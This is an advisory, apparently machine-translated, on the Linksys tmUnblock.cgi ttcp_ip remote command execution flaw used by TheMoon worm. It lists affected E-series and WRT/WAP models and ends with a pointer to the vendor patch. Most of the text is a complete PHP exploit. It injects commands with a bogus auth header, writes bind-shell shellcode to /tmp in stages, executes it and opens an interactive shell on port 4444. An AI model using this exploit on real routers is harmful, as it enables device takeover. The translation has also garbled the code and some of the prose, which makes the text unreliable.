Linksys multiple vrouters tmUnblock. cgi ttcp_ip Parameter Remote Command Execution Vulnerability

Release date:
Updated on:

Affected Systems:
Linksys eseries router WRT320N
Linksys eseries router WRT160N
Linksys eseries router WRT150N
Linksys eseries router WET610N
Linksys eseries router WES610N
Linksys eseries router WAP610N
Linksys eseries router WAP300N
Linksys eseries router WAG320N
Linksys eseries router E900
Linksys eseries router E4200
Linksys eseries router E3200
Linksys eseries router E3000
Linksys eseries router E300
Linksys eseries router E2500
Linksys eseries router E2100L
Linksys eseries router E2000
Linksys eseries router E1550
Linksys eseries router E1500
Linksys eseries router E1200
Linksys eseries router E1000
Description:
--------------------------------------------------------------------------------
Linksys is a Cisco department that sells network products for household and small businesses.

The parameter values of 'ttcp/ip are not correctly filtered by multiple Linksys routers. the cgi script has a security vulnerability. authenticated remote attackers can exploit this vulnerability to execute arbitrary commands. Affected products include but are not limited:

E4200
E3200
E3000
E2500
E2100L
E2000
E1550
E1500
E1200
E1000
E900
E300
WAG320N
WAP300N
WAP610N
WES610N
WET610N
WRT610N
WRT600N
WRT400N
WRT320N
WRT160N
WRT150N

<* Source: Rew

Link: http://osvdb.org/show/osvdb/103321
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/php
<? Php

/*

Exploit for 0day linksys unauthenticated remote code execution
Vulnerability. As exploited by TheMoon worm; Discovered in
The wild on Feb 13,201 3 by Johannes Ullrich.

I was hoping this wowould stay under-wraps until a firmware
Patch cocould be released, but it appears the cat is out of the bag...
Http://www.reddit.com/r/netsec/comments/1xy9k6/that_new_linksys_worm/
Since it's now public, here's my take on it.

Exploit written by Rew.
(Yes I know, everyone hates PHP. Deal with it: P)

Currently only working over the LAN. I think there may be
Iptables issue or something. Left as an exercise to the reader.

Based on "strings" output on TheMoon worm binary,
Following devices may be vulnerable. This list may not be
Accurate and/or complete !!!

E4200
E3200
E3000
E2500
E2100L
E2000
E1550
E1500
E1200
E1000
E900
E300
WAG320N
WAP300N
WAP610N
WES610N
WET610N
WRT610N
WRT600N
WRT400N
WRT320N
WRT160N
WRT150N

*/

Error_reporting (0 );

$ Host = "192.168.1.1"; // target host
$ Port = "8080"; // target port
$ Vuln = "tmUnblock. cgi"; // hndUnblock. cgi works too

// Msfpayload linux/mipsystemic/shell_bind_tcp LPORT = 4444 X
$ Shellcode = base64_decode (
"F0vmrgebaqaaaaaaaaaaiacaabaaaavabaadqaaaaaaaaaaa ".
"Aaadqaiaabaaaaaaaaaaeaaaaaaaaaaaaabaaaaaqab7aqaaogia ".
"AAcAAAAAEAAA4P + 9J/3/DiQnIMABJyjAAf // BihXEAIkDAEBAV ".
"BzDyT // 1Aw7/8OJCdwwAERXA0kBGjNAf/9 DiQncMABJWiuAeD /".
"Ra/k/6Cv6P + gr + z/oK8lIBAC7/8 OJCcwwAHg/6 UjSRACJAwBAQ ".
"FQcw8kJSAQAgEBBSROEAIkDAEBAVBzDyQlIBAC // 8FKP // BihI ".
"EAIkDAEBAVBzDyT // 1AwJSAQAv3/DyQnKOAB3w8CJAwBAQFQcw ".
"8 kJSAQAgEBBSjfDwIkDAEBAVBzDyQlIBAC // 8fkn81_qmaqeb ".
"UHMPJFBzBiT // 9 AEUHMPJP // bi8.0/w8kJ3jgASEg7wPw/6Sv9P ".
"+ Gr/f/DiQncMABIWDvAyFojgH // 6Ct8P + lI6sPAiQMAQEBL2Jp ".
"Bi9zaA ="
);

// Regular urlencode () doesn't do enough.
// It will break the exploit. so we use this
Function full_urlencode ($ string ){

$ Ret = "";
For ($ c = 0; $ c <strlen ($ string); $ c ++ ){
If ($ string [$ c]! = '&')
$ Ret. = "%". dechex (ord ($ string [$ c]);
Else
$ Ret. = "&";
}

Return $ ret;

}

// Wget is kind of a bad solution, because it requires
// The payload be accessable via port 80 on the attacker's
// Machine. a better solution is to manually write
// Executable payload onto the filesystem with echo-en
// Unfortunatly the httpd will crash with long strings,
// So we do it in stages.
Function build_payload ($ host, $ port, $ vuln, $ shellcode ){

// In case we previously had a failed attempt
// Meh, it can happen
Echo "\ tCleaning up ...";
$ Cleanup = build_packet ($ host, $ port, $ vuln, "rm/tmp/c0d3z ");
If (! Send_packet ($ host, $ port, $ cleanup) die ("fail \ n ");
Else echo "done! \ N ";

// Write the payload in 20 byte stages
For ($ I = 0; $ I <strlen ($ shellcode); $ I + = 20 ){
Echo "\ tSending". $ I. "/". strlen ($ shellcode). "bytes ...";
$ Cmd = "echo-en '";
For ($ c = $ I; $ c <$ I + 20 & $ c <strlen ($ shellcode); $ c ++ ){
$ Cmd. = "\ 0". decoct (ord ($ shellcode [$ c]);
}
$ Cmd. = "'>/tmp/c0d3z ";
$ Cmd = build_packet ($ host, $ port, $ vuln, $ cmd );
If (! Send_packet ($ host, $ port, $ cmd) die ("fail \ n ");
Else echo "sent! \ N ";
Usleep (100000 );
}

// Make it usable
Echo "\ tgrouping ing ...";
$ Config = build_packet ($ host, $ port, $ vuln, "chmod a + rwx/tmp/c0d3z ");
If (! Send_packet ($ host, $ port, $ config) die ("fail \ n ");
Else echo "done! \ N ";

}

// Add in all the HTTP shit
Function build_packet ($ host, $ port, $ vuln, $ payload ){

$ Exploit = full_urlencode (
"Submit_button = &".
"Change_action = &".
"Submit_type = &".
"Action = &".
"Commit = 0 &".
"Ttcp_num = 2 &".
"Ttcp_size = 2 &".
"Ttcp_ip =-H'". $ payload ."'&".
"StartEPI = 1"
);

$ Packet =
"POST/". $ vuln. "HTTP/1.1 \ r \ n ".
"Host:". $ host. "\ r \ n ".
// This username: password is never checked ;)
"Authorization: Basic". base64_encode ("admin: ThisCanBeAnything"). "\ r \ n ".
"Content-Type: application/x-www-form-urlencoded \ r \ n ".
"Content-Length:". strlen ($ exploit). "\ r \ n ".
"\ R \ n ".
$ Exploit;

Return $ packet;

}

Function send_packet ($ host, $ port, $ packet ){

$ Socket = fsockopen ($ host, $ port, $ errno, $ errstr );
If (! $ Socket) return false;
If (! Fwrite ($ socket, $ packet) return false;
Fclose ($ socket );
Return true;

}

Echo "Testing connection to target ...";
$ Socket = fsockopen ($ host, $ port, $ errno, $ errstr, 30 );
If (! $ Socket) die ("fail \ n ");
Else echo "connected! \ N ";
Fclose ($ socket );

Echo "Sending payload... \ n ";
Build_payload ($ host, $ port, $ vuln, $ shellcode );
Sleep (3); // don't rush him

Echo "Executing payload ...";
If (! Send_packet ($ host, $ port, build_packet ($ host, $ port, $ vuln, "/tmp/c0d3z") die ("fail \ n ");
Else echo "done! \ N ";
Sleep (3); // don't rush him

Echo "Attempting to get a shell ...";
$ Socket = fsockopen ($ host, 4444, $ errno, $ errstr, 30 );
If (! $ Socket) die ("fail \ n ");
Else echo "connected! \ N ";

Echo "Opening shell... \ n ";
While (! Feof ($ socket )){
$ Cmd = readline ($ host. "$ ");
If (! Empty ($ cmd) readline_add_history ($ cmd );
// There has got to be a better way to detect that we have
// Reached the end of the output than this, but whatever
// It's late... I'm tired... and it works...
Fwrite ($ socket, $ cmd. "; echo xxxEOFxxx \ n ");
$ Data = "";
Do {
$ Data. = fread ($ socket, 1 );
} While (strpos ($ data, "xxxEOFxxx") === false &&! Feof ($ socket ));
Echo str_replace ("xxxEOFxxx", "", $ data );
}

?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Linksys
-------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.linksys.com